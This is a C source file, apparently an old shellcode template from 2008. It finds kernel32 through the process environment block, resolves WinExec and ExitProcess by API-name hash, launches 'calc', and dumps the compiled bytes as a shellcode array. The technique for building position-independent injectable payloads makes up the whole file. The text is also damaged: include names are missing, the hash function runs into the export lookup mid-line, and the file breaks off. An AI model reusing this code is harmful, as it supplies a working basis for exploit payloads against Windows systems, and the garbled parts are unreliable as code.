//-------------------------------------------------------------------------
// Shellcode Template in C
//
// Compile with VC 6:
// C:\CSC> cl.exe -MD -O1 Shellcode.c
//
// tombkeeper@gmail.com
// 2008.05
//-------------------------------------------------------------------------
#include
#include
#include
#include
#include
#pragma comment( lib, "Kernel32.lib" )
#pragma comment( linker,"/ENTRY:main" )
#pragma comment( linker, "/ALIGN:4096" )
#pragma data_seg( ".text" )
#pragma const_seg( ".text" )
typedef void * ( __stdcall * WinAPIPtr )();
typedef void * ( __cdecl * CFuncPtr )();
//-------------------------------------------------------------------------
#define HASH_WinExec 0x25e6b913
#define HASH_ExitProcess 0xcbff6bb9
struct KERNEL32
{
PVOID BaseAddr;
WinAPIPtr WinExec;
WinAPIPtr ExitProcess;
};
void* GetProcAddrByHash( PVOID LibBaseAddr, DWORD FnHash );
PVOID GetKernel32Base(void);
//-------------------------------------------------------------------------
void __declspec(naked) StartSign (){}
//-------------------------------------------------------------------------
void ShellCode(void)
{
struct KERNEL32 Kernel32;
DWORD sz_String[] = { 0x636c6163, 0x00000000 };
Kernel32.BaseAddr = GetKernel32Base();
Kernel32.ExitProcess = GetProcAddrByHash( Kernel32.BaseAddr, HASH_ExitProcess);
Kernel32.WinExec = GetProcAddrByHash( Kernel32.BaseAddr, HASH_WinExec);
Kernel32.WinExec( sz_String, SW_SHOWNORMAL );
Kernel32.ExitProcess(0);
}
//-------------------------------------------------------------------------
#pragma pack(8)
struct _ACTIVATION_CONTEXT;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union {
LIST_ENTRY HashLinks;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
union {
struct {
ULONG TimeDateStamp;
};
struct {
PVOID LoadedImports;
};
};
struct _ACTIVATION_CONTEXT * EntryPointActivationContext;
PVOID PatchInformation;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
typedef struct EB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct EB_HEAD {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union {
BOOLEAN BitField;
struct {
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN SpareBits : 7;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
} PEB_HEAD, * PPEB_HEAD;
//-------------------------------------------------------------------------
__forceinline DWORD GetCurrentTeb(void)
{
__asm mov eax, fs:[0x18]
}
__forceinline DWORD GetCurrentPeb(void)
{
return *(DWORD*)( GetCurrentTeb()+0x30 );
}
PVOID GetKernel32Base(void)
{
PPEB_HEAD pPEB = (PPEB_HEAD)GetCurrentPeb();
PLIST_ENTRY pListHead = pPEB->Ldr->InInitializationOrderModuleList.Flink;
PLDR_DATA_TABLE_ENTRY pLDR_DATA_TABLE_ENTRY;
int i;
for( i = 0; i < 2; i++ )
{
pLDR_DATA_TABLE_ENTRY = CONTAINING_RECORD (
pListHead->Flink, LDR_DATA_TABLE_ENTRY, InInitializationOrderLinks
);
if( pLDR_DATA_TABLE_ENTRY->BaseDllName.Buffer[8] == 0x002E ) break;
pListHead = pListHead->Flink;
}
return pLDR_DATA_TABLE_ENTRY->DllBase;
}
//-------------------------------------------------------------------------
__forceinline DWORD HashKey(char *key)
{
DWORD nHash = 0;
while (*key)
{
nHash = (nHashOptionalHeader.DataDirectory[0].VirtualAddress );
pNameBase=( DWORD* )( (DWORD)LibBaseAddr+pExport->AddressOfNames );
for (Ordinals = 0; Ordinals < pExport->NumberOfNames; Ordinals++)
{
char *pName=(char*)LibBaseAddr+*pNameBase;
if( HashKey(pName) == FnHash )
{
Found = TRUE;
break;
}
pNameBase++;
}
if( Found )
{
WORD Index;
Index = ( (WORD*)( (DWORD)LibBaseAddr+pExport->AddressOfNameOrdinals) )[Ordinals];
Function = (void *)( (DWORD)LibBaseAddr+((DWORD*)((DWORD)LibBaseAddr+pExport->AddressOfFunctions))[Index] );
return Function;
}
return NULL;
}
//-------------------------------------------------------------------------
void __declspec(naked) EndSign (){}
//-------------------------------------------------------------------------
void ShellCodeToHex
(
BYTE *ShellCode,
DWORD ShellCodeSize,
FILE *stream
)
{
char Head[] = "BYTE ShellCode[] = {";
char Tail[] = "};\n";
int i;
fprintf( stream, Head );
for( i=0; i